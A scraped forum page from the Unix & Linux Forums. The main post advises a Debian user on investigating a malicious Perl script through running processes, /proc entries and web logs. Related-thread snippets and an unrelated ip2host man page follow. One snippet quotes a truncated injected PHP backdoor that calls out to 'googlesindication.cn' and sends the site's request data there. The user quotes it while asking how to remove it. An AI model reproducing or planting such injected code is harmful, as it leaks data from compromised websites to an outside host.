Sponsored Content
Full Discussion: Malicious perl script
Operating Systems Linux Debian Malicious perl script Post 302992372 by drysdalk on Friday 24th of February 2017 08:46:56 AM
Old 02-24-2017
Hello,

That's certainly a good idea in general, to run something like 'watchdog' or 'tripwire'. I don't think anything it's found is particularly worrisome, and is all stuff I'd more or less expect to be there, depending on what you have installed.

The main thing I'd definitely do is look at what processes are running at the moment, and investigate the /proc entries for any suspicious ones that are still there. Next, read through your Web logs for anything that looks abnormal around the time that the incident is alleged to have began. With any luck there's a clear trace in the Web logs that will show you where the dodgy scripts were stored, and perhaps even how they came to be uploaded.
 

7 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

remove malicious codes from a file

Hello, Please advise a script/command to remove the following line for a file <?php error_reporting(0); $fn = "googlesindication.cn"; $fp = fsockopen($fn, 80, $errno, $errstr, 15); if (!$fp) { } else { $query='site='.$_SERVER; $out = "GET /links.php?".$query." HTTP/1.1\r\n"; ... (5 Replies)
Discussion started by: fed.linuxgossip
5 Replies

2. Shell Programming and Scripting

Anti-malicious files and viruses

Hello I ask you how to make a Anti-malicious files and viruses Or if one of you a small example of the work on the same place and I hope my request I want a small patch or the process of examination Virus http://www.google.jo/images/cleardot.gif ---------- Post updated... (1 Reply)
Discussion started by: x-zer0
1 Replies

3. Cybersecurity

How to analyze malicious code

A series on The H about analyzing potentially malicious code flying around on the net. Pretty well written, and a nice read for those interested in how exploits work: CSI:Internet - Alarm at the pizza service CSI:Internet - The image of death CSI:Internet - PDF timebomb CSI:Internet -... (0 Replies)
Discussion started by: pludi
0 Replies

4. Shell Programming and Scripting

calling a perl script with arguments from a parent perl script

I am trying to run a perl script which needs input arguments from a parent perl script, but doesn't seem to work. Appreciate your help in this regard. From parent.pl $input1=123; $input2=abc; I tried calling it with system("/usr/bin/perl child.pl $input1 $input2"); and `perl... (1 Reply)
Discussion started by: grajp002
1 Replies

5. Shell Programming and Scripting

Perl : embedding java script with cgi perl script

Hi All, I am aware that html tags can be embedded in cgi script as below.. In the same way is it possible to embed the below javascript in perl cgi script ?? print("<form action="action.htm" method="post" onSubmit="return submitForm(this.Submitbutton)">"); print("<input type = "text"... (1 Reply)
Discussion started by: scriptscript
1 Replies

6. Shell Programming and Scripting

Malicious pl script, what does it do

Hello, i found and malicious looking script on my server, here is its code safelly pasted as a text on pastebin: Posting links to pastebin scripts are forbidden at this site. Please what does this script do? It has .pl extension and is on shared cpanel hosting account (1 Reply)
Discussion started by: postcd
1 Replies

7. Programming

PERL: In a perl-scripttTrying to execute another perl-script that SETS SOME VARIABLES !

I have reviewed many examples on-line about running another process (either PERL or shell command or a program), but do not find any usefull for my needs way. (Reviewed and not useful the system(), 'back ticks', exec() and open()) I would like to run another PERL-script from first one, not... (1 Reply)
Discussion started by: alex_5161
1 Replies
IP2HOST(1)						User Contributed Perl Documentation						IP2HOST(1)

NAME
ip2host - Resolves IPs to hostnames in web server logs SYNOPSIS
ip2host [OPTIONS] [cache_file] < infile > outfile infile - Web server log file. outfile - Same as input file, but with IPs resolved to hostnames. Options: --children=... Number of child processes to spawn (default: 40) --timeout=... Seconds to wait on DNS response (default: 20) --buffer=... Maximum number of log lines to keep in memory (default: 50000) --flush=... Number of lines to process before flushing output buffer (default: 500) --cache=... Filename to use as disk cache (default: none) --ttl=... Number of seconds before IPs cached on disk are expired (default: 604800 - One week) DESCRIPTION
This is a faster, drop-in replacement for the logresolve utility distributed with the Apache web server. It's been reported to work under Linux, FreeBSD, Solaris, Tru64, and IRIX. AUTHOR
Maurice Aubrey <maurice.aubrey+ip2host@gmail.com> Based on the logresolve.pl script by Rob Hartill. COPYRIGHT
Copyright 1999-2007, Maurice Aubrey <maurice.aubrey+ip2host@gmail.com>. This module is free software; you may redistribute it and/or modify it under the same terms as Perl itself. README
Resolves IPs to hostnames in web server logs. This is a faster, drop-in replacement for the logresolve utility distributed with the Apache web server. SCRIPT CATEGORIES
Web perl v5.14.2 2012-02-15 IP2HOST(1)
All times are GMT -4. The time now is 09:33 PM.
Unix & Linux Forums Content Copyright 1993-2022. All Rights Reserved.
Privacy Policy